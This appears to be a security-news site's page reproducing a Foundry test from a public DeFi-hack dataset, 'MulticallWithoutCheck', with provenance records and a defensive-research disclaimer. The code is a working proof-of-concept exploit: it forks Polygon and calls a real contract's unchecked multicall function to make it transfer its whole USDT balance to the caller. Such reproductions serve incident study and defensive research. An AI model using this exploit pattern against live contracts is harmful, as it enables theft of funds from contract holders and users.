Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/MulticallWithoutCheck_exp.sol

Public reproduction file for dataset entry MulticallWithoutCheck.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/MulticallWithoutCheck_exp.sol45 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b
8interface Target {
9 struct Call {
10 address target;
11 bytes callData;
12 uint256 value;
13 }
15 function multicallWithoutCheck(
16 Call[] memory calls
17 ) external;
20contract ContractTest is Test {
21 struct Call {
22 address target;
23 bytes callData;
24 uint256 value;
25 }
27 Target target = Target(0x940cE652A51EBadB5dF09d605dBEDA95fDcF697b);
28 IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 function setUp() public {
32 cheats.createSelectFork("polygon", 34_743_770);
33 }
35 function testExploit() public {
36 uint256 USDTBlance = USDT.balanceOf(address(target));
37 bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", address(this), USDTBlance);
38 Target.Call memory inputData = Target.Call({target: address(USDT), callData: data, value: 0});
39 Target.Call[] memory calls = new Target.Call[](1);
40 calls[0] = inputData;
41 target.multicallWithoutCheck(calls);
43 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
44 }

Analysis

Dataset entry

Public Foundry test for “MulticallWithoutCheck” (2022-10-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
MulticallWithoutCheck
Path
src/test/2022-10/MulticallWithoutCheck_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
48131508d64e7a6ae5bd174f9e02f46c2bcc48fe
Language
Solidity
Size
46 lines
Date
2022-10-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/MulticallWithoutCheck_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 48131508d64e7a6ae5bd174f9e02f46c2bcc48fe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.